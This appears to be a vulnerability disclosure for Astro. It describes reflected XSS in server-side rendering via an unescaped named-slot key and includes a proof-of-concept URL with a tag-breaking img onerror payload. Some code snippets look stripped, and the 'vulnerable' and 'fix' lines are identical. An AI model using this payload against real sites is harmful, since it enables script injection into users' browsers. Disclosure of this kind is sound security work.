Astro: Reflected XSS via unescaped slot name

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable

Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`${children[key]}`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of

Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

**astro.config.mjs** ``js import react from '@astrojs/react'; import node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), integrations: [react()], }); ``

**src/pages/index.astro** ``astro --- import Wrapper from '../components/Wrapper.jsx'; const slotName = Astro.url.searchParams.get('tab') ?? 'default'; --- content ``

**src/components/Wrapper.jsx** ``jsx export default function Wrapper() { return null; } ``

Payload: `` abc"><!-- ``

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

This will render in html.

<!--">content

Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`${children[key]}`

---